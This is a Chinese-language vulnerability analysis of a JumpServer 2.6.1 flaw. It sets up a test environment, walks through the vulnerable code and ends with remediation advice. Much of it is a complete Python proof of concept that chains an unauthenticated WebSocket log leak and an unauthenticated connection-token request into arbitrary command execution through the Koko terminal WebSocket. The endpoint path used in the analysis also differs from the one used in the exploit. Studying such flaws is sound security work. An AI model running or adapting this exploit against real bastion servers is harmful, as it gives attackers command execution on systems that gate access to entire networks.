jumpserver远程代码执行漏洞分析
字数 909 2025-08-18 11:35:59
JumpServer远程代码执行漏洞分析与利用
漏洞概述
本漏洞存在于JumpServer开源堡垒机系统中,涉及未授权访问和远程代码执行风险。漏洞组合利用了WebSocket未授权访问和认证令牌生成机制缺陷,最终可导致攻击者在目标系统上执行任意命令。
环境搭建
-
下载JumpServer V2.6.1安装包:
- 安装脚本:https://www.o2oxy.cn/wp-content/uploads/2021/01/quick_start.zip
- 安装时注意选择"no"选项
-
安装完成后启动服务:
cd /opt/jumpserver-installer-v2.6.1/ ./jms start -
访问Web界面:
- 默认账号:admin/admin
- 首次登录后需修改密码
-
添加测试主机并配置Web终端
漏洞分析
1. 未授权WebSocket访问
漏洞点位于apps/ops/ws.py中的CeleryLogWebsocket类,该WebSocket端点未进行身份验证:
class CeleryLogWebsocket(JsonWebsocketConsumer):
disconnected = False
def connect(self):
self.accept()
攻击者可直接连接此WebSocket端点获取日志信息。
2. 敏感信息泄露
通过未授权WebSocket可获取jumpserver.log中的敏感信息,包括:
- 用户ID
- 用户名
- 资产ID
- 主机名
- 系统用户ID
示例日志格式:
{
"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c",
"username": "test2",
"asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"hostname": "192.168.1.73",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"
}
3. 认证令牌生成机制
认证API位于/api/v1/authentication/connection-token/,代码逻辑如下:
class UserConnectionTokenApi(RootOrgViewMixin, APIView):
def post(self, request):
user_id = request.data.get('user', '')
asset_id = request.data.get('asset', '')
system_user_id = request.data.get('system_user', '')
token = str(uuid.uuid4())
user = get_object_or_404(User, id=user_id)
asset = get_object_or_404(Asset, id=asset_id)
system_user = get_object_or_404(SystemUser, id=system_user_id)
value = {
'user': user_id,
'username': user.username,
'asset': asset_id,
'hostname': asset.hostname,
'system_user': system_user_id,
'system_user_name': system_user.name
}
cache.set(token, value, timeout=20)
return Response({"token": token}, status=201)
4. Koko组件代码执行
后端Koko组件处理WebSocket连接时未充分验证令牌有效性:
func (s *server) processTokenWebsocket(ctx *gin.Context) {
tokenId, _ := ctx.GetQuery("target_id")
tokenUser := service.GetTokenAsset(tokenId)
if tokenUser.UserID == "" {
logger.Errorf("Token is invalid: %s", tokenId)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
// 省略后续处理...
}
漏洞利用步骤
1. 获取认证令牌
使用从日志中提取的信息构造POST请求获取临时令牌:
import requests
data = {
"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c",
"asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"
}
url = 'http://192.168.1.73:8080/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
token = response['token']
print(token)
2. 建立WebSocket连接执行命令
使用获取的令牌建立WebSocket连接并执行命令:
import asyncio
import websockets
import json
async def execute_command(token, cmd):
target = f"ws://192.168.1.73:8080/koko/ws/token/?target_id={token}"
async with websockets.connect(target) as websocket:
# 接收初始消息获取ID
recv_text = await websocket.recv()
resws = json.loads(recv_text)
ws_id = resws['id']
# 初始化终端
init_data = {
"id": ws_id,
"type": "TERMINAL_INIT",
"data": "{\"cols\":164, \"rows\":17}"
}
await websocket.send(json.dumps(init_data))
# 发送命令
cmd_data = {
"id": ws_id,
"type": "TERMINAL_DATA",
"data": cmd + "\r\n"
}
await websocket.send(json.dumps(cmd_data))
# 接收命令输出
for _ in range(20):
output = await websocket.recv()
print(json.loads(output)['data'])
# 使用示例
token = "获取的令牌"
asyncio.get_event_loop().run_until_complete(execute_command(token, "whoami"))
完整漏洞利用POC
import asyncio
import websockets
import requests
import json
def get_token():
data = {
"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c",
"asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"
}
url = 'http://192.168.1.73:8080/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
return response['token']
async def exploit(cmd):
token = get_token()
print(f"Obtained token: {token}")
target = f"ws://192.168.1.73:8080/koko/ws/token/?target_id={token}"
async with websockets.connect(target) as websocket:
# 获取会话ID
recv_text = await websocket.recv()
resws = json.loads(recv_text)
ws_id = resws['id']
# 初始化终端
init_data = {
"id": ws_id,
"type": "TERMINAL_INIT",
"data": "{\"cols\":164, \"rows\":17}"
}
await websocket.send(json.dumps(init_data))
# 发送命令
cmd_data = {
"id": ws_id,
"type": "TERMINAL_DATA",
"data": cmd + "\r\n"
}
await websocket.send(json.dumps(cmd_data))
# 接收输出
for _ in range(20):
output = await websocket.recv()
output_data = json.loads(output)
if 'data' in output_data:
print(output_data['data'])
# 执行命令示例
asyncio.get_event_loop().run_until_complete(exploit("whoami && ifconfig"))
修复建议
- 对所有WebSocket端点实施身份验证
- 加强日志中的敏感信息过滤
- 令牌生成API增加严格的权限检查
- Koko组件应验证令牌的有效性和权限
- 更新到JumpServer最新版本
总结
该漏洞利用链展示了从信息泄露到远程代码执行的完整路径,强调了堡垒机系统安全的重要性。通过组合多个看似小的问题,攻击者最终可获得系统控制权,因此系统设计时应实施纵深防御策略。